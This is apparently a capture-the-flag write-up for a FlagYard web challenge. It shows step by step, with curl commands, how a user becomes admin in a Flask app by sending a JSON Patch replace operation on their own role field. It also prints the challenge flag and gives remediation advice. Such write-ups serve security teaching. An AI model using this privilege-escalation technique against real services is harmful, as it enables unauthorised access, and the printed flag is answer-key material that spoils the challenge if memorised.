Back to writeups
FlagYardwebeasysolved

OhMyPatch

23 Jun 2026 · by 0xIDA

Solvers

OhMyPatch

Author: 0xIDA

Solvers

Platform: FlagYard · Category: web · Difficulty: easy

Summary

A Flask user-management app exposes a JSON Patch endpoint (PATCH /patch) that applies user-supplied operations to the users list and persists the result. The endpoint is also referenced in the JWT-protected /flag route, which checks the current user's role. By sending a JSON Patch replace operation that flips the current user's role to admin, we bypass the role check and read the flag.

Solution

Step 1: Register and get a JWT

BASE="http://tgvldeleqq-0.playat.flagyard.com"
U="ida$RANDOM"
P="Passw0rd123"

curl -sS -X POST "$BASE/register" -H "Content-Type: application/json" \
  -d "{\"name\":\"$U\",\"age\":25,\"password\":\"$P\",\"department\":\"IT\"}" > reg.json
TOK=$(python3 -c 'import json; print(json.load(open("reg.json"))["access_token"])')

The response returns an access token for the newly registered user.

Step 2: Find the current user index

curl -sS "$BASE/users" -H "Authorization: Bearer $TOK" > users.json
python3 -c '
import json
users = json.load(open("users.json"))["users"]
for i, u in enumerate(users):
    if u["name"].startswith("ida"):
        print(i, u)
'

In the run, the current user was the last entry in the list (index 6).

Step 3: Apply a JSON Patch to escalate to admin

IDX=6
curl -sS -X PATCH "$BASE/patch" -H "Authorization: Bearer $TOK" \
  -H "Content-Type: application/json" \
  -d "[{\"op\":\"replace\",\"path\":\"/users/$IDX/role\",\"value\":\"admin\"}]"

Response showed the current user's role now set to admin, and the change persisted on a fresh GET /users.

Step 4: Read the flag

curl -sS -H "Authorization: Bearer $TOK" "$BASE/flag" | grep -oE 'FlagY\{[^}]*\}'

Output:

FlagY{2423516b2496f714b50b25a90e2bcbe4}

Remediation

  • Validate the role field against a strict allowlist; never let users patch their own role through a generic JSON Patch endpoint.
  • Scope JSON Patch operations to only the fields and records the authenticated user is authorized to modify.
  • Enforce authorization checks on /flag (and any sensitive route) independently, not only on the client-visible role field.

Flag

FlagY{2423516b2496f714b50b25a90e2bcbe4}